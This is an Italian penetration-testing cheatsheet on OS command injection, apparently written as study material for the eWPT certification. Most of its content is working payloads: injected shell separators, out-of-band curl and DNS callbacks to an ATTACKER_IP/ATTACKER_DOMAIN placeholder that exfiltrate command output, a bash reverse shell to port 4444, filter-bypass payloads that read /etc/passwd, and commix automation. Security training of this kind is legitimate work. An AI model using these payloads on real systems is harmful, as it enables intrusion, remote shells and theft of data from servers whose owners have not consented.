← Tutti i cheatsheet

eWPT · Exploitation & Post-Ex

RCE Techniques

Difficoltà: Advanced Time to Master: 2h Prerequisiti: 01-File-Upload-Abuse.md Lab: HTB (command injection labs)


Obiettivo

Da qualche parte nel codice, l’input che hai appena inviato finisce dentro una chiamata come system() o exec() insieme a un comando che lo sviluppatore si aspettava innocuo (un IP da pingare, un nome file da convertire). Se quell’input non viene sanificato, tu non stai più “sfruttando un parametro”: stai scrivendo shell command veri e propri che il server esegue per te. È uno dei momenti in cui capisci fisicamente cosa significa “esecuzione di codice arbitrario”, perché il primo id che torna nella risposta è quasi sempre un piccolo salto sulla sedia.


Concetti chiave

Dove cercare command injection

Funzionalità che internamente chiamano tool di sistema: ping, traceroute, conversione file, generazione PDF/report, backup.

Operatori di concatenazione comandi (shell)

Operatore Comportamento
; esegue comando successivo indipendentemente dal risultato del primo
&& esegue comando successivo solo se il primo ha successo
\|\| esegue comando successivo solo se il primo fallisce
\| passa l’output del primo come input al secondo
` / $() command substitution, esegue e sostituisce con l’output

Strumenti

Tool Comando base Output Note
Burp Repeater payload manuale nel parametro output comando nella risposta principale
commix commix --url="URL?ip=1" automatizza detection/exploit equivalente sqlmap per command injection

Payload / Esempi

Esempio 1: command injection classica su funzione “ping”

127.0.0.1; id
127.0.0.1 && id
127.0.0.1 | id
127.0.0.1 `id`
127.0.0.1 $(id)

Output atteso:

PING 127.0.0.1 ...
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Spiegazione: se l’output del comando iniettato appare nella risposta insieme all’output atteso (ping), la command injection è confermata e diretta (non blind).

Esempio 2: blind command injection (nessun output visibile) via out-of-band

127.0.0.1; curl http://ATTACKER_IP/confirm
127.0.0.1; nslookup $(whoami).ATTACKER_DOMAIN

Spiegazione: se non vedi output diretto, forza il server a contattare un tuo listener: la ricezione della richiesta (o la sua assenza) conferma comunque l’esecuzione, e con nslookup $(whoami).ATTACKER_DOMAIN puoi persino esfiltrare l’output di un comando tramite subdomain DNS (serve un dominio, non un IP, con NS autoritativo sotto il tuo controllo: vedi 06-Data-Exfiltration.md).

Esempio 3: reverse shell diretta come payload di injection

127.0.0.1; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

Vedi 03-Reverse-Shells.md per varianti complete su più linguaggi/shell disponibili.

Esempio 4: automazione con commix

commix --url="http://target.com/ping?ip=127.0.0.1" --data="ip=127.0.0.1" -p ip

Evasion / Bypass Techniques

Bypass filtro su spazi

127.0.0.1;{cat,/etc/passwd}
127.0.0.1;cat${IFS}/etc/passwd
127.0.0.1;cat$IFS/etc/passwd

Bypass blacklist su parole chiave (es. “cat” bloccato)

127.0.0.1;c'a't /etc/passwd
127.0.0.1;c""at /etc/passwd
127.0.0.1;/bin/c?t /etc/passwd

Bypass filtro su ;/&&/|

127.0.0.1$(id)            # command substitution senza separatore aggiuntivo
127.0.0.1%0aid            # newline encoded al posto del separatore

Lab Hands-On

Lab 1 (PortSwigger): OS command injection, simple case

Obiettivo: eseguire comandi arbitrari tramite funzione di rete integrata Difficulty: Medio Time: 30 min

Walkthrough breve:

  1. Trova una funzionalità che richiama tool di sistema (ping/traceroute)
  2. Testa i separatori di comando uno per uno
  3. Conferma esecuzione con id/whoami

Common Mistakes

  • Provare solo ; -> alcuni filtri bloccano solo un separatore, prova sempre l’intera lista
  • Non pensare al blind/out-of-band quando l’output non è visibile -> molti command injection reali sono blind, serve DNS/HTTP callback per confermarli
  • Dimenticare IFS per bypass filtro spazio -> ${IFS} è spesso l’unica via quando lo spazio letterale è bloccato


Connessioni


Checklist di padronanza

  • Conosco tutti i separatori di comando shell principali
  • So riconoscere e confermare blind command injection via out-of-band
  • So bypassare filtri su spazio e blacklist di keyword
  • So usare commix per automatizzare quando serve